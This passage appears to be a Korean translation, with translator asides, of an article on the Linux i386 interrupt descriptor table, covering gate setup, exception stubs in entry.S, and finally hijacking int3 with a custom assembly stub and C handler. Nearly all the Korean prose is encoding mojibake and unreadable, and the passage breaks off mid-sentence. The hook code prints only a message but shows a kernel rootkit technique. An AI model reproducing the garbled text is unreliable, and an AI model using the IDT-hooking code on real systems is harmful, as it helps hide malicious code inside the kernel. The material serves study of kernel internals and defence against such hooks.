ignore_int,%edx /* ignore_int ÀÇ ½ÇÁÖ¼Ò¸¦ edx ·Î */ movl $(__KERNEL_CS << 16),%eax movw %dx,%ax /* selector = 0x0010 = cs */ movw $0x8E00,%dx /* interrupt gate - dpl=0, present */ lea SYMBOL_NAME(idt_table),%edi /* idt_table ÀÇ ÁÖ¼Ò¸¦ edi ·Î */ mov $256,%ecx /* ¿£Æ®¸® °³¼ö¸¸Å­ ecx·Î ÀúÀå */ rp_sidt: movl %eax,(%edi) movl %edx,4(%edi) addl $8,%edi /* edi ¿¡ 8À» ´õÇÏ´Â ÀÌÀ¯´Â ? */ dec %ecx /* ecx ¸¦ °¨¼Ò½ÃŰ´Â ÀÌÀ¯´Â ? */ jne rp_sidt /* ·çÇÁ¸¦ ¹Ýº¹ÇÏ´Â ÀÌÀ¯´Â ? */ ret ====================================================================== À§¿Í °°ÀÌ µÇ¾îÀִµ¥¿ä. À§¿¡¼­ º»¹®ÀÇ ÀúÀÚ°¡ ¼³¸íÇÑ ³»¿ëÀÌ À̰ǵ¥¿è. edi ¿¡ 8À» ´õÇÏ´Â ÀÌÀ¯´Â ¾Æ½ÃÁÒ... idt_table ÀÇ ¿£Æ®¸® Çϳª°¡ 8¹ÙÀÌÆ® À̱⠶§¹®À̰í, ecx¿¡ 256 ÀÌ µé¾î°£ ÀÌÀ¯´Â ¿£Æ®¸®ÀÇ °³¼ö°¡ 256 °³ À̱⶧¹®ÀÌÁÒ. dec %ecx ¸¦ ÅëÇØ Ä«¿îÆ®ÇÏ¿© Çϳª¾¿ °¨¼Ò½ÃÄÑ 0ÀÌ µÉ¶§±îÁö ¹Ýº¹ Çϰڴٴ°ÅÁÒ ... ´õ ÀÚ¼¼È÷ ÇÏÀÚ¸é setup_idt ¶óº§ÀÇ __KERNEL_CS °ªºÎÅÍ Ã£¾Æ¼­ eax ¿¡ ¹«¾ùÀÌ µé¾î°¡´ÂÁö ±îÁö ´Ù ¾Ë¾ÆºÁ¾ß °ÚÁÒ. ±×°Ç ¿©·¯ºÐµé²² ¸Ã±â°Ú½À´Ï´Ù.) ±×¸®°í³ª¸é °ÔÀÌÆ®´Â ´ÙÀ½ ÇÔ¼ö¿¡ ÀÇÇØ idt ¿¡ »ðÀÔµÇ°Ô µË´Ï´Ù. =================================== linux/arch/i386/kernel/traps.c -> set_intr_gate(n, addr) =================================== idt ·¹Áö½ºÅͰ¡ °¡¸®Å°°í ÀÖ´Â ÁÖ¼Ò¿¡ nÀÇ À§Ä¡¿¡ ÀÎÅÍ·´Æ® °ÔÀÌÆ®¸¦ »ðÀÔÇϰí, ÀÎÅÍ·´Æ® Çڵ鷯ÀÇ ÁÖ¼Ò´Â addr ¿¡ ÀúÀåµË´Ï´Ù. ================================ linux/arch/i386/kernel/i8259.c ================================ (% edward : ¿øÀúÀÚ°¡ ¼Ò½ºÆÄÀÏÀ» À߸ø ±âÀçÇß´õ±º¿ä.) ¸ðµç maskable ÀÎÅÍ·´Æ®¿Í ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ®´Â ´ÙÀ½ÀÇ ÇÔ¼ö¿¡ ÀÇÇØ ÃʱâÈ­ µË´Ï´Ù. set_intr_gate : #define FIRST_EXTERNAL_VECTOR 0x20 for (i = 0; i < NR_IRQS; i++) { int vector = FIRST_EXTERNAL_VECTOR + i; if (vector != SYSCALL_VECTOR) set_intr_gate(vector, interrupt[i]); =================================== linux/arch/i386/kernel/traps.c -> set_system_gate(n, addr) =================================== Æ®·¦ °ÔÀÌÆ®ÀÇ »ðÀÔ. DPL Çʵ带 3À¸·Î ¼¼Æ®½ÃÅ´. ÀÌ·¯ÇÑ ÀÎÅÍ·´Æ®µéÀº À¯Àú ¸ðµå(Ư±Ç·¹º§ 3) ¿¡¼­ È£ÃâµÉ ¼ö ÀÖ½À´Ï´Ù. set_system_gate(3,&int3) set_system_gate(4,&overflow) set_system_gate(5,&bounds) set_system_gate(0x80,&system_call); =================================== linux/arch/i386/kernel/traps.c -> set_trap_gate(n, addr) =================================== DPL Çʵ带 0À¸·Î ¼¼Æ®½ÃŲ Æ®·¦ °ÔÀÌÆ®ÀÇ »ðÀÔ ±× ¹ÛÀÇ ¿¹¿ÜµéÀº set_trap_gate ¿¡¼­ ÃʱâÈ­µÊ set_trap_gate(0,÷_error) set_trap_gate(1,&debug) set_trap_gate(2,&nmi) set_trap_gate(6,&invalid_op) set_trap_gate(7,&device_not_available) set_trap_gate(8,&double_fault) set_trap_gate(9,&coprocessor_segment_overrun) set_trap_gate(10,&invalid_TSS) set_trap_gate(11,&segment_not_present) set_trap_gate(12,&stack_segment) set_trap_gate(13,&general_protection) set_trap_gate(14,&page_fault) set_trap_gate(15,&spurious_interrupt_bug) set_trap_gate(16,&coprocessor_error) set_trap_gate(17,&alignement_check) set_trap_gate(18,&machine_check) IRQ ÀÎÅÍ·´Æ®´Â set_intr_gate() ÇÔ¼ö¿¡ ÀÇÇØ ÃʱâÈ­µÇ°í, ¿¹¿Ü int3, overflow, bound¿Í ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ®ÀÎ system callÀº set_system_gate() ÇÔ¼ö¿¡ ÀÇÇØ ÃʱâÈ­ µË´Ï´Ù. ÀÚ ±×·³ ÀÌÁ¦ °¢°¢ÀÇ ÀÎÅÍ·´Æ®¿¡ ÇÒ´çµÈ ÀÎÅÍ·´Æ® Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ °®°í ¸î°¡Áö ¿¬½À°ú ½ÇÇèÀ» ÇØº¼±î¿ä ? CheckIDT ´Â ÀÌ ±ÛÀÇ ³¡ºÎºÐ¿¡ Àִٴ°Š¾Æ½ÃÁÒ. »ç¿ë¹ýÀº ´ÙÀ½°ú °°½À´Ï´Ù. ¸ñÂ÷ 8¹ø¿¡ º¸½Ã¸é checkidt ¼Ò½º°¡ ³ª¿ÍÀÖÀ¸´Ï ±×°É ÂüÁ¶ÇÏ¿© ÀÛ¼ºÇϽðí ÄÄÆÄÀÏÀ» ÇØÁÖ¼¼¿ä. %./checkidt -A -s Int *** Stub Address * Segment *** DPL * Type Handler Name -------------------------------------------------------------------------- 0 0xc01092c8 KERNEL_CS 0 Trap gate divide_error 1 0xc0109358 KERNEL_CS 0 Trap gate debug 2 0xc0109364 KERNEL_CS 0 Trap gate nmi 3 0xc0109370 KERNEL_CS 3 System gate int3 4 0xc010937c KERNEL_CS 3 System gate overflow 5 0xc0109388 KERNEL_CS 3 System gate bounds 6 0xc0109394 KERNEL_CS 0 Trap gate invalid_op ... 18 0xc0109400 KERNEL_CS 0 Trap gate machine_check 19 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 20 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int ... 31 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int 32 0xc010a0d8 KERNEL_CS 0 Interrupt gate IRQ0x00_interrupt 33 0xc010a0e0 KERNEL_CS 0 Interrupt gate IRQ0x01_interrupt ... 47 0xc010a15c KERNEL_CS 0 Interrupt gate IRQ0x0f_interrupt 128 0xc01091b4 KERNEL_CS 3 System gate system_call System.map Àº À§¿Í °°ÀÌ ½É¹ú À̸§µé¿¡ ´ëÇÑ ÁÖ¼Ò¸¦ °®°í ÀÖ½À´Ï´Ù. È®ÀÎÇØº¸µµ·Ï ÇÏÁÒ. ===================================== % grep nmi /boot/System.map-[Ä¿³Î¹öÁ¯] 00000000c0109364 T nmi ===================================== (% edward : ÀúÀÚ°¡ ¹®¼­¿¡ ¿À·ù¸¦ ¹üÇÑ ºÎºÐÀÌ À־ ¾à°£ ¼öÁ¤Çß½À´Ï´Ù. ^^; ¸ÊÆÄÀÏÀº System.map ÀÎ °æ¿ìµµ ÀÖ°í, System.map-2.4.19 ¿Í °°ÀÌ ³ª¿Ã¼öµµ ÀÖÁö¿ä. ÀÌ´Â Ä¿³Î ÄÄÆÄÀϽà ½Ã½ºÅÛ ¸Ê ÆÄÀÏÀ̸§À» ¾îÄÉ ÇØÁÖ´À³ÄÀÇ Â÷ÀÌÀε¥ ... ¿©Æ° À§ÀÇ ÆÄÀÏÀÌ ÀÖÀ»°Ì´Ï´Ù. nmi ´Â not maskable interrupt À̸ç trap_gate ¶ø´Ï´Ù. ³ª¿À´Â Á¤º¸Áß 00000000c0109364 ÀÌ °ªÀº nmi ¶ó´Â ½É¹úÀÇ ¸Þ¸ð¸® ÁÖ¼ÒÀÔ´Ï´Ù. ±×·³ °è¼Ó ÇØ¼­ º¸½ÃÁÒ.) ===================================== % grep overflow /boot/System.map-[Ä¿³Î¹öÁ¯] 00000000c010937c T overflow ===================================== overflow ´Â system_gate ÀÔ´Ï´Ù. ===================================== % grep ignore_int /boot/System.map-[Ä¿³Î¹öÁ¯] 00000000c01001e4 t ignore_int ===================================== 18¹øºÎÅÍ 31±îÁö´Â ÀÎÅÚÀÌ ¹Ì·¡¿¡ ¾î¶² ¿ëµµÀÎÁö´Â ¸ô¶óµµ ¾µ¶ó°í reserve ÇØµÐ »óÅÂÀÔ´Ï´Ù. ===================================== % grep IRQ0x01_interrupt /boot/System.map-[Ä¿³Î¹öÁ¯] 00000000c010a0e0 t IRQ0x01_interrupt ===================================== keyboard ÀåÄ¡´Â intr_gate ÀÔ´Ï´Ù. ===================================== % grep c01091b4 /boot/System.map 00000000c01091b4 T system_call ===================================== system call Àº system_gate ÀÔ´Ï´Ù. (% edward : ¿©±â¼­ ÁÖÀÇÇÒ Á¡ Ä¿³Î ÄÄÆÄÀϽà System.map ÆÄÀÏÀ» Á¦´ë·Î ¸¸µé¾îÁÖÁö ¾ÊÀ¸¸é ¾ÕÀ¸·Î ÁøÇàµÇ´Â ÀÛ¾÷¿¡ Â÷ÁúÀÌ ÀÖÀ»¼ö ÀÖÀ¸´Ï È®ÀÎÇØº¸¼¼¿ä. System.map ÆÄÀÏÀÌ ÀÖ´ÂÁö ȤÀº ÀÚ½ÅÀÌ ºÎÆÃÇÑ Ä¿³Î°ú ¹öÁ¯ÀÌ ¸Â´ÂÁö ... ) 3 - ¿¹¿Ü(exceptions) 3.1 - ¿¹¿Ü ¸ñ·Ï --------------------------------------------------------------------------+ number | Exception | Exception Handler | --------------------------------------------------------------------------+ 0 | Divide Error | divide_error() | 1 | Debug | debug() | 2 | Nonmaskable Interrupt | nmi() | 3 | Break Point | int3() | 4 | Overflow | overflow() | 5 | Boundary verification | bounds() | 6 | Invalid operation code | invalid_op() | 7 | Device not available | device_not_available() | 8 | Double Fault | double_fault() | 9 | Coprocessor segment overrun | coprocesseur_segment_overrun() | 10 | TSS not valid | invalid_tss() | 11 | Segment not present | segment_no_present() | 12 | stack exception | stack_segment() | 13 | General Protection | general_protection() | 14 | Page Fault | page_fault() | 15 | Reserved by Intel | none | 16 | Calcul Error with float virgul| coprocessor_error() | 17 | Alignement check | alignement_check() | 18 | Machine Check | machine_check() | --------------------------------------------------------------------------+ (% edward : À§ÀÇ Ç¥´Â Áö±Ý±îÁö Á¦°¡ ÀÛ¾÷ÇÑ ±ÛÀ» ºü¶ß¸®Áö ¾Ê°í ÀÐÀ¸¼Ì´Ù¸é ¸î¹øÂë º¸¼ÌÀ» °Ì´Ï´Ù.^^;) ¿¹¿Ü´Â ´ÙÀ½ÀÇ µÎ °¡Áö·Î ºÐ·ùµË´Ï´Ù. - ÇÁ·Î¼¼¼­¿¡ ÀÇÇØ °¨ÁöµÇ´Â ¿¹¿Ü(DPL Çʵå 0À¸·Î ¼¼Æ®) - ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ®(ÇÁ·Î±×·¥¿¡ ÀÇÇÑ ¿¹¿Ü), (DPL Çʵå 3À¸·Î ¼¼Æ®) ÈÄÀÚ´Â À¯Àú ¸ðµå¿¡¼­ È£ÃâµÇ¾îÁú ¼ö ÀÖ½À´Ï´Ù. 3.2 - ¿¹¿Ü°¡ ¹ß»ýÇÒ¶§ ¹«½¼ÀÏÀÌ ÀϾ´Â°¡ ? ¿¹¿Ü°¡ ¹ß»ýÇÒ¶§ ¿¹¿Ü¿Í ÀÏÄ¡ÇÏ´Â ÇöÀç IDT ÀÇ Çڵ鷯(󸮱â : handler)ÀÇ ÁÖ¼Ò°¡ ½ÇÇàµÇ°Ô µÈ´Ù. ÀÌ Çڵ鷯´Â ¿¹¿Ü¸¦ ó¸®Çϱâ À§ÇÑ ½ÇÁ¦ Çڵ鷯´Â ¾Æ´Ï°í, ´ÜÁö ½ÇÁ¦ Çڵ鷯·Î Á¡ÇÁ¸¦ ÇÏ°Ô ÇØÁØ´Ù. ½±°Ô ¸»Çϸé : ============================================================= ¿¹¿Ü ¹ß»ý -----> Áß°£ Çڵ鷯 -----> ½ÇÁ¦ Çڵ鷯(Real Handler) ============================================================= ¿Í °°´Ù°í º¸¸é µÈ´Ù. entry.S ¿¡´Â ÀÏ¹Ý Çڵ鷯(Generic Handler) ¶Ç´Â ½ºÅÓ(stub)À̶ó ºÒ¸®±âµµ ÇÏ´Â ¸ðµç Áß°£ Çڵ鷯¿¡ ´ëÇØ Á¤ÀÇÇϰí ÀÖ´Ù. Áß°£ Çڵ鷯´Â asm À¸·Î ÀÛ¼ºµÇ¾îÀÖ°í, ½ÇÁ¦ Çڵ鷯´Â C ·Î ÀÛ¼ºµÇ¾îÀÖ´Ù. ÀÌÁ¦ ´çȲÇÏÁö ¸»°í, Áß°£ Çڵ鷯¸¦ È£ÃâÇØº¸ÀÚ! ÀÌ ¾î¼Àºí¸® ¾ð¾î·Î ÀÛ¼ºµÈ Áß°£ Çڵ鷯´Â C ·Î ÀÛ¼ºµÈ ½ÇÁ¦ Çڵ鷯¸¦ È£ÃâÇÏ°Ô µÈ´Ù. ±×·³ Áö±ÝºÎÅÍ entry.S ÆÄÀÏÀ» º¼±î¿ä ? entry.S : --------- ==================================================================== ENTRY(nmi) pushl $0 pushl $ SYMBOL_NAME(do_nmi) jmp error_code ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code ENTRY(overflow) pushl $0 pushl $ SYMBOL_NAME(do_overflow) jmp error_code ENTRY(divide_error) pushl $0 # no error value/code pushl $ SYMBOL_NAME(do_divide_error) ALIGN error_code: pushl %ds pushl %eax xorl %eax,%eax pushl %ebp pushl %edi pushl %esi pushl %edx decl %eax # eax = -1 pushl %ecx pushl %ebx cld movl %es,%cx movl ORIG_EAX(%esp), %esi # get the error value movl ES(%esp), %edi # get the function address movl %eax, ORIG_EAX(%esp) movl %ecx, ES(%esp) movl %esp,%edx pushl %esi # push the error code pushl %edx # push the pt_regs pointer movl $(__KERNEL_DS),%edx movl %dx,%ds movl %dx,%es GET_CURRENT(%ebx) call *%edi addl $8,%esp jmp ret_from_exception ==================================================================== À§ÀÇ ³»¿ëÀ» °ËÅäÇØº¸ÀÚ! ¸ðµç Çڵ鷯´Â °°Àº ±¸Á¶·Î µÇ¾î ÀÖ½À´Ï´Ù. (´Ù¸¸ system_call °ú device_not_available Àº ´Ù¸£´Ù.) ================================== pushl $0 pushl $ SYMBOL_NAME(do_####name) jmp error_code ================================== Pushl $0 Àº ¸î¸î ¿¹¿Ü¸¦ À§Çؼ­¸¸ »ç¿ëµË´Ï´Ù. UC(Unit of Control) Àº ½ºÅÃÀ§¿¡ ¿¹¿Ü¿¡ ´ëÇÑ Çϵå¿þ¾î ¿¡·¯ °ªÀ» °Çµå·Á¼­ ¼Õ»ó½Ãų °ÍÀ¸·Î ¿¹Ãø µË´Ï´Ù. ¸î¸î ¿¹¿Ü´Â ¿¡·¯ °ªÀ» ¹ß»ý½ÃŰÁö ¾Ê°í $0 ¸¦ push ÇÏ°Ô µË´Ï´Ù. ¸¶Áö¸· ¶óÀÎÀº error_code ·Î Á¡ÇÁ¸¦ ½Ã۴µ¥ ÀÚ¼¼ÇÑ ³»¿ëÀº linux/arch/i386/kernel/entry.S ¸¦ ÂüÁ¶Çϱ⠹ٶø´Ï´Ù. error_code ´Â ¿¹¿Ü¿¡ ´ëÇÑ asm ¸ÅÅ©·Î·Î »ç¿ëµË´Ï´Ù. ÀÚ ±×·³ Çѹø´õ ¿¹¿Ü ó¸® Àå¸éÀ» ±×·Áº¸¸é ´ÙÀ½°ú °°½À´Ï´Ù. ========================================================================= ¿¹¿Ü ¹ß»ý -> Áß°£ Çڵ鷯 -> error_code ¸ÅÅ©·Î -> ½ÇÁ¦ Çڵ鷯(Real Handler) ========================================================================= error_code ´Â ´ÙÀ½ÀÇ ¼ø¼­·Î ¼öÇàµË´Ï´Ù. ===================================================================== 1: C ÇÔ¼ö¿¡ ÀÇÇØ »ç¿ëµÉ ·¹Áö½ºÅ͸¦ ½ºÅÿ¡ ÀúÀåÇÕ´Ï´Ù. 2: ±×¸®°í eax ¸¦ -1·Î ¼¼Æ®½Ã۰í, 3: Çϵå¿þ¾î ¿¡·¯ °ª($esp + 36)°ú Çڵ鷯ÀÇ ÁÖ¼Ò($esp + 32)¸¦ °¢°¢ esi ¿Í edi ·Î º¹»çÇÕ´Ï´Ù. movl ORIG_EAX(%esp), %esi movl ES(%esp), %edi 4: ¿¡·¯ÄÚµåÀÇ À§Ä¡¿¡ -1°ªÀ» °®°í ÀÖ´Â eax À§Ä¡½Ã۰í, es ÀÇ ³»¿ëÀ» $esp + 32 ÀÇ ½ºÅà À§Ä¡·Î º¹»çÇÕ´Ï´Ù. 5: ½ºÅÃÀÇ °¡Àå À­ºÎºÐ(top) ÁÖ¼Ò¿¡ edx¸¦ pushÇϰí, edx ¿¡ error_code ¸¦ µ¤¾î¾¹´Ï´Ù. À̶§ ½ºÅÃÀÇ °¡Àå À­ºÎºÐ(stack top) ÁÖ¼Ò´Â ³ªÁß¿¡ »ç¿ëÇϱ⠶§¹®¿¡ ¹Ýµå½Ã ÀúÀåÇØ µÎ¾î¾ß ÇÕ´Ï´Ù. 6: Ä¿³Î µ¥ÀÌÅÍ ¼¼±×¸ÕÆ® ¼¿·ºÅ͸¦ ds ¿Í es ·¹Áö½ºÅÍ¿¡ À§Ä¡½Ãŵ´Ï´Ù. 7: ÇöÀç ÇÁ·Î¼¼½º¿¡ ´ëÇÑ µð½ºÅ©¸³ÅÍÀÇ ÁÖ¼Ò¸¦ ebx ¿¡ ¼¼Æ® ½Ãŵ´Ï´Ù. 8: C ÇÔ¼ö·Î Àü´ÞÇØ¾ß µÇ´Â ÆÄ¶ó¹ÌÅ͵éÀ» ½ºÅÿ¡ ÀúÀåÇÕ´Ï´Ù. (¿¹¸¦µé¾î Çϵå¿þ¾î ¿¡·¯ °ª°ú ÁÖ¼Ò ±×¸®°í À¯Àú¸ðµå ÇÁ·Î¼¼½º·Î ºÎÅÍ ·¹Áö½ºÅͰ¡ ÀúÀåµÈ ½ºÅÃÀÇ À§Ä¡µîÀ» ÀúÀå) 9: ¿¹¿Ü Çڵ鷯ÀÇ È£Ãâ(ÁÖ¼Ò´Â edi ¿¡ ÀúÀå µÇ¾î ÀÖÀ½. 3¹øÀ» º¸¼¼¿ä) 10: ¸¶Áö¸· µÎ ÀνºÆ®·°¼ÇÀº ¿¹¿Üó¸® ÈÄ¿¡ µ¹¾Æ¿À±â À§ÇÑ °ÍÀÔ´Ï´Ù. ===================================================================== error_code ´Â ÀûÀýÇÑ ¿¹¿Ü °ü¸®ÀÚ·Î Á¡ÇÁÇÏ°Ô µÉ °ÍÀ̰í, °Å±â¼­ ½ÇÁ¦·Î ¿¹¿Ü¿¡ ´ëÇÑ Ã³¸®¸¦ ÇÏ°Ô µÉ °ÍÀÔ´Ï´Ù. (ÀÚ¼¼ÇÑ ³»¿ëÀº traps.c ¸¦ ÂüÁ¶Çϱ⠹ٶø´Ï´Ù.) ¿¹¿Ü Çڵ鷯¿¡ ´ëÇÑ ¿ÏÀüÇÑ ¿¹Á¦¸¦ Çϳª º¸µµ·Ï ÇսôÙ. ¿¹¸¦µé¾î, non maskable nmi ÀÎÅÍ·´Æ® ó¸® C Çڵ鷯¸¦ º¾½Ã´Ù. ¾Æ·¡ ÄÚµå´Â traps.c ÀÇ ÀϺκÐÀ» °¡Á® ¿Â °ÍÀÔ´Ï´Ù. ************************************************************** asmlinkage void do_nmi(struct pt_regs * regs, long error_code) { unsigned char reason = inb(0x61); extern atomic_t nmi_counter; .... ************************************************************** asmlinkage ´Â ½ºÅÿ¡ ÆÄ¶ó¹ÌÅ͸¦ À¯ÁöÇϱâ À§ÇØ »ç¿ëÇÏ´Â ¸ÅÅ©·Î ÀÔ´Ï´Ù. ÆÄ¶ó¹ÌÅÍ´Â asm Äڵ忡¼­ c ÄÚµå·Î ½ºÅÃÀ» ÅëÇØ¼­ Àü´ÞµÇ±â ¶§¹®¿¡ ¿øÇÏÁö ¾Ê´Â ÆÄ¶ó¸ÞÅͰ¡ ½ºÅÃÀÇ °¡Àå À­ ºÎºÐ¿¡ µé¾î°¡´Â ´ÜÁ¡À» °¡Áö°Ô µÉ ¼öµµ Àִµ¥, asmlinkage ´Â ±×·¯ÇÑ ¹®Á¦¸¦ ÇØ°áÇÒ ¼ö ÀÖÁö¿ä. do_nmi ÇÔ¼ö´Â pt_regs ŸÀÔÀ» °®´Â Æ÷ÀÎÅÍ¿Í error_code º¯¼ö¸¦ ÀÎÀÚ·Î ¹Þ½À´Ï´Ù. pt_regs ´Â /usr/include/asm/ptrace.h ¿¡ Á¤ÀÇ µÇ¾î ÀÖ½À´Ï´Ù. ====================== struct pt_regs { long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; int xds; int xes; long orig_eax; long eip; int xcs; long eflags; long esp; int xss; }; ====================== ·¹Áö½ºÅÍÀÇ ÀϺκÐÀº error_code ¿¡ ÀÇÇØ¼­ ½ºÅÿ¡ push µÇ°í, ´Ù¸¥ ¸î¸î ·¹Áö½ºÅÍ´Â Çϵå¿þ¾î ·¹º§ÀÇ UC ¿¡ ÀÇÇØ push °¡ µË´Ï´Ù. ÀÌ Çڵ鷯´Â ¿¹¿Ü¸¦ ó¸®Çϰí, ¸ðµç ½Ã°£À» ÇÁ·Î¼¼½º¿¡ ½Ã±×³ÎÀ» º¸³»´Â ÀÛ¾÷À» ÇÏ°Ô µË´Ï´Ù. 3.3 - ÀÎÅÍ·´Æ® ÈÄÅ· Mammon(»ç¶÷ À̸§ÀÎ µí)Àº ¸®´ª½º ÇÏ¿¡¼­ ¾î¶»°Ô ÀÎÅÍ·´Æ®¸¦ ÈÄÅ·ÇÏ´Â °¡ ÇÏ´Â ³»¿ëÀ» ½è°í, ±× Å×Å©´ÐÀ» Mammon °ú ºñ½ÁÇÏ°Ô ¼³¸íÇÏ°Ô µÉÅ×Áö¸¸ Á»´õ ÀϹÝÀûÀÌ°í ¾ÈÁ¤ÀûÀÎ ¹æ¹ýÀ¸·Î ÀÎÅÍ·´Æ® ó¸®ÇÏ´Â ¹æ¹ýÀ» »ç¿ëÇÒ °ÍÀÔ´Ï´Ù. breakpoint ÀÎÅÍ·´Æ®ÀÎ int3 ¸¦ º¸ÀÚ! Çڵ鷯¿Í ½ºÅÓ(stub)Àº ´ÙÀ½°ú °°ÀÌ Á¤ÀǵǾî ÀÖ½À´Ï´Ù. ==================================== ENTRY(int3) pushl $0 pushl $ SYMBOL_NAME(do_int3) jmp error_code ==================================== ´õ¹Ì Çϵå¿þ¾î ¿¡·¯ °ª(0)ÀÌ ¼¼ÀÌºê µÈ ÈÄ¿¡ C Çڵ鷯ÀÇ ÁÖ¼Ò´Â ½ºÅÿ¡ push µË´Ï´Ù. ±×¸®°í error_code °¡ ½ÇÇàµÇ°Ô µË´Ï´Ù. ¿ì¸®ÀÇ Á¢±Ù¹æ½ÄÀº ¾î¼Àºí¸® Çڵ鷯¸¦ ÀçÀÛ¼ºÇÏ°Ô µÇ¾ú°í, ¿ì¸®°¡ ÀÛ¼ºÇÏ°Ô µÉ Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ ½ÇÁ¦ÀÇ do_int3°¡ ¾Æ´Ñ ½ºÅÿ¡ ÀúÀåÇÏ°Ô µÈ´Ù. ¿¹Á¦ : ================================================= void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" "pushl $0 \n" "pushl ptr_handler(,1) \n" "jmp *ptr_error_code " :: ); } ================================================= ¿ì¸®ÀÇ »õ Çڵ鷯´Â ¿À¸®Áö³¯ Çڵ鷯¿Í ºñ½ÁÇÏ°Ô º¸ÀÔ´Ï´Ù. C ÄÄÆÄÀÏ·¯¸¦ ÅëÇØ ÄÄÆÄÀÏÀ» ÇØ¾ß ÇÏ´Â °Ç ´ç¿¬È÷ ¾Ë°í ÀÖ°ÚÁÒ. (% edward : ÀζóÀÎ ¾î¼Àºí °°Áö¿ä ? ^^;) - ¿ì¼± ¿ì¸®ÀÇ asm Äڵ带 C ÇÔ¼ö ¾È¿¡ ³Ö´Â°ÍÀº ¸µÅ·À» ½±°Ô Çϱâ À§ÇÔ ÀÔ´Ï´Ù. - .global my_stub ´Â ¸¸¾à ¿ì¸®°¡ global ·Î extern asmlinkage void my_stub() À» ¼±¾ðÇÑ´Ù¸é, ¾î¼Àºí Äڵ带 ÂüÁ¶Çϱâ À§ÇÔ ÀÔ´Ï´Ù. - align 4,0x90 Àº ÇÑ ¿öµåÀÇ Å©±â·Î Á¤·ÄÇϱâ À§ÇÔÀÔ´Ï´Ù. ÀÎÅÚ ÇÁ·Î¼¼¼­´Â 4 ¹ÙÀÌÆ®(32 bits) ±â¹ÝÀÇ Á¤·Ä(alignment)À» ÇÕ´Ï´Ù. - push ptr_handler(,1)Àº gas ±¸¹®ÀԴϸç, ³ªÁß¿¡´Â »ç¿ëÇÏÁö ¾ÊÀ» °ÍÀÔ´Ï´Ù. ÀζóÀÎ ¾î¼Àºí¸®¿¡ ´ëÇÑ ³»¿ëÀº 7-[1]À» ÂüÁ¶Çϼ¼¿ä ¿ì¸®´Â ¿ì¸®°¡ ¸¸µç Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ push Çϰí error_code·Î Á¡ÇÁÇÒ °ÍÀÔ´Ï´Ù. ptr_handler ´Â ¿ì¸®ÀÇ C Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ °®°Ô µË´Ï´Ù. ´ÙÀ½°ú °°ÀÌ ... ===================================================== unsigned long ptr_handler=(unsigned long)&my_handler; ===================================================== C Çڵ鷯 : ================================================================== asmlinkage void my_handler(struct pt_regs * regs,long err_code) { void (*old_int_handler)(struct pt_regs *,long) = (void *)old_handler; printk("<1>Wowowo hijacking of int 3 \n"); (*old_int_handler)(regs,err_code); return; } ================================================================== ¿ì¸®´Â µÎ°³ÀÇ ÀÎÀÚ¸¦ ´Ù½Ã ¹Þ´Âµ¥ ÇϳªÀÇ Æ÷ÀÎÅÍ¿Í err_code ÀÔ´Ï´Ù. À§¿¡¼­ error_code °¡ ÀÌ µÎ °¡Áö ÀÎÀÚ¸¦ push ÇÏ´Â °ÍÀ» º» °Í °°ÁÒ. ¿ì¸®´Â $SYMBOL_NAME(do_int3)¸¦ push ¶Ç´Â pushl Çß´Ù´Â °¡Á¤ÇÏ¿¡ ÀÌÀü Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ ÀúÀåÇÑ´Ù. ±×¸®°í´Â ¿ì¸®°¡ ÀÎÅÍ·´Æ®¸¦ ÈÄÅ·Çß´Ù´Â °ÍÀ» º¸¿©ÁÖ±â À§ÇØ printk ¹®À» ÅëÇØ "<1>Wowowo hijacking of int 3\n" ¸¦ Ãâ·ÂÇϰí, old Çڵ鷯·Î µ¹¾Æ°¡°Ô ÇÑ´Ù. ÀÌ´Â syscall À» »ç¿ëÇÑ °íÀüÀûÀÎ ÈÄÅ·°ú °°Àº ¹æ¹ýÀÌ´Ù. (% edward : osx86 ÀÇ syscall ¹®¼­¸¦ º¸½Ã¸é ÇÑ ¹ø ¾ð±ÞµÇ¾ú´ø ³»¿ëÀÓÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. ¹°·Ð IDT ÇÏÀÌÀçÅ·°ú´Â »ó°ü¾ø¾úÁö¸¸¿ä. ) ±×·¸´Ù¸é old_handler ´Â ¹«¾ùÀΰ¡¿ä ? =================================== #define do_int3 0xc010977c unsigned long old_handler=do_int3; =================================== do_int3 ÀÇ ÁÖ¼Ò´Â System.map À» ÅëÇØ ¾òÀ» ¼ö°¡ ÀÖ¾úÁÒ ? (¿ì¸®°¡ ½É¹úÀÇ ÁÖ¼Ò¸¦ Àú ´Þ³ª¶ó·Î Á¤ÀÇÇÒ ¼öµµ ÀÖ°Ú½À´Ï´Ù. % edward : ³ó´ãÀÔ´Ï´Ù.) Áö±Ý±îÁö ³»¿ë¿¡ ´ëÇØ Á» ´õ ¸íÈ®ÇÏ°Ô Á¤¸®¸¦ ÇØº¸¸é : ================================== asm Çڵ鷯 ---------------- 0À» push ÇÏ°í ¿ì¸®ÀÇ handler ¸¦ push ÇÑµÚ error_code ·Î jmp ÇÕ´Ï´Ù. error_code ---------- ¸î °¡Áö ÀÛ¾÷À» ÇÏ°í ¿ì¸®ÀÇ Çڵ鷯 ÁÖ¼Ò¸¦ pop ÇÏ°í ¿ì¸®ÀÇ C Çڵ鷯·Î jmp ÇÕ´Ï´Ù. ¿ì¸®°¡ ¸¸µç C Çڵ鷯 -------------------- ÀÌÀü Çڵ鷯ÀÇ ÁÖ¼Ò¸¦ ÀúÀåÇϰí, ÈÄÅ· ÇÏ¿´´Ù´Â ¸Þ½ÃÁö¸¦ Ãâ·ÂÇÑ µÚ ½ÇÁ¦ C Çڵ鷯·Î return ÇÕ´Ï´Ù. ½ÇÁ¦ C Çڵ鷯 ------------------- ½ÇÁ¦ ÀÎÅÍ·´Æ®¸¦ ó¸®ÇÕ´Ï´Ù. ================================== ÀÌÁ¦ IDT 